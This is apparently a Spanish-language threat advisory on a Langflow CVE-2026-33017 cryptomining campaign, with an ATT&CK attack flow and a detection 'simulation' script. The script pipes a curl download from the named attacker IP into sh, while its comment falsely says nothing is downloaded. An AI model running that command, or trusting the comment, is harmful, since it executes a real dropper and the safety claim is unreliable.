SOC Prime Bias: Crítico

29 Jun 2026 07:25 UTC

Campaña de Criptominero CVE-2026-33017: De Langflow a Monero

Author Photo
SOC Prime Team linkedin icon Seguir
Campaña de Criptominero CVE-2026-33017: De Langflow a Monero
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Una campaña de minería de criptomonedas está explotando un fallo de ejecución de código remoto no autenticado en Langflow para desplegar un minero personalizado basado en Go. La cadena de ataque utiliza un script bash dropper para establecer persistencia y moverse lateralmente a través de claves SSH reutilizadas. El malware también desactiva las medidas de seguridad a nivel de host y termina procesos mineros competidores para maximizar los recursos del sistema disponibles.

Investigación

Los investigadores monitorearon la campaña durante una ventana de 19 días e identificaron un patrón consistente de explotación que involucra un flow_id codificado y cadenas de agente de usuario rotativas. Su investigación reveló una intrusión de múltiples etapas construida alrededor de un binario basado en Go llamado lambsys.elf, que manejaba la evasión de defensas, eliminación de registros, y persistencia respaldada por watchdog. Basado en el comportamiento de eliminación de usuarios y técnicas de movimiento lateral, se cree que la cadena de herramientas comparte linaje con la familia KORKERDS o MALXMR.

Mitigación

Las organizaciones deben actualizar Langflow a la versión 1.9.0 o más nueva para remediar el problema de ejecución de código remoto. También se recomienda encarecidamente bloquear la exposición a internet público de las instancias de Langflow y evitar ejecutar el servicio con privilegios excesivos. Controles adicionales deben asegurar que los flujos públicos no puedan aceptar entradas no autenticadas capaces de desencadenar ejecución de código.

Respuesta

Si se detecta esta actividad, los equipos de seguridad deben tratarla tanto como una compromiso de criptominería como un posible incidente de exposición de llave SSH. Los pasos inmediatos deben incluir la rotación de todas las claves SSH potencialmente expuestas y revisar los hosts conectados en busca de señales de movimiento lateral. Los equipos también deben auditar los registros del sistema para la creación o eliminación no autorizada de cuentas e inspeccionar los sistemas para cualquier cambio de configuración de seguridad no aprobado.

"flowchart TD step_reconnaissance["T1595.002 u2013 Escaneo Activo: Escaneo de Vulnerabilidades: Rotación de User-Agent para identificar el objetivo y sondear la vulnerabilidad auto_login"] step_exploitation["T1210 u2013 Explotación de Servicios Remotos: Explotación de la CVE-2026-33017 en la API de Langflow mediante solicitud POST"] step_execution["T1059 u2013 Ejecución: Uso del primitivo __import__(‘os’).system de Python para ejecutar comandos shell"] step_ingress_transfer["T1105 u2013 Transferencia de Herramienta de Ingreso: Descarga del dropper isp.sh mediante curl o wget"] rules_for_ingress_transfer("<b>Nombre de la regla</b>: Carga/Descarga Remota de Archivos vía Herramientas Estándar (vía línea de comandos)<br/><b>ID de la regla</b>: 02cefb3e-acaa-42f6-8118-611e4162f3ba<hr/><b>Nombre de la regla</b>: Descarga de Archivo Sospechosa Doble IP (vía proxy)<br/><b>ID de la regla</b>: f0e46e70-111f-43a1-8853-d25f0b8683dd") step_persistence["T1053.003 u2013 Persistencia: Trabajo cron y script de bucle bash (init_rmount) para funcionalidad de watchdog"] step_credential_access["T1552.004 u2013 Acceso a Credenciales: Enumeración de llaves privadas SSH y consulta SSH_AUTH_SOCK"] step_lateral_movement["T1021.004 u2013 Movimientos Laterales: Mecanismo de gusano SSH que tiene como objetivo hosts alcanzables en known_hosts"] step_defense_impairment["T1685 u2013 Impedimento de Defensas: Deshabilitar ufw, iptables, AppArmor, y SELinux"] step_indicator_removal["T1070 u2013 Eliminación de Indicadores: Eliminación de /var/log/syslog para obstaculizar la investigación"] step_command_and_control["T1102.003 u2013 Comando y Control: lambsys.elf enviando latidos JSON mediante HTTP POST a 83.142.209.214"] step_resource_hijacking["T1496.001 u2013 Secuestro de Recursos: Secuestro de Computo: Despliegue de procq (XMRig) para minería de Monero"] step_reconnaissance –>|leads_to| step_exploitation step_exploitation –>|enables| step_execution step_execution –>|initiates| step_ingress_transfer step_ingress_transfer -.->|detected_by| rules_for_ingress_transfer step_ingress_transfer –>|leads_to| step_persistence step_persistence –>|then| step_credential_access step_credential_access –>|enables| step_lateral_movement step_lateral_movement –>|leads_to| step_defense_impairment step_defense_impairment –>|then| step_indicator_removal step_indicator_removal –>|leads_to| step_command_and_control step_command_and_control –>|results_in| step_resource_hijacking "

Flujo de Ataque

Ejecución de Simulación

Requisito previo: La Verificación de Pre-vuelo de Telemetría y Línea Base debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un mal diagnóstico.

  • Narrativa del Ataque y Comandos: El atacante identifica una instancia vulnerable de Langflow ejecutándose en un servidor Linux. Usando la vulnerabilidad CVE-2026-33017, el atacante inyecta una carga maliciosa de Python en una solicitud. El objetivo es eludir las defensas perimetrales y desplegar un criptominero de Monero. La carga usa el os.system de Python para invocar /bin/sh, que luego descarga un script de shell (isp.sh) desde la infraestructura del atacante (83.142.209.214:8080) y lo transmite directamente a un shell para su ejecución inmediata.

  • Script de Prueba de Regresión:

    #!/bin/bash
    # Simulación de explotación de CVE-2026-33017 mediante inyección de Python
    # Este script imita exactamente la línea de comandos que busca la regla de detección.
    
    echo "[+] Iniciando Simulación: Explotación de CVE-2026-33017"
    
    # Usamos python3 para ejecutar el string específico requerido por la lógica de la regla
    # Nota: No estamos descargando nada realmente; solo estamos imitando el string del comando.
    python3 -c "__import__('os').system('curl http://83.142.209.214:8080/isp.sh | sh')"
    
    echo "[+] Comando de Simulación Ejecutado."
  • Comandos de Limpieza:

    # No se realizan cambios permanentes mediante el script de simulación;
    # sin embargo, si se crearon archivos temporales, deberían ser eliminados.
    echo "[+] Limpiando artefactos de simulación..."
    # (No se crearon artefactos en esta simulación específica de línea de comandos)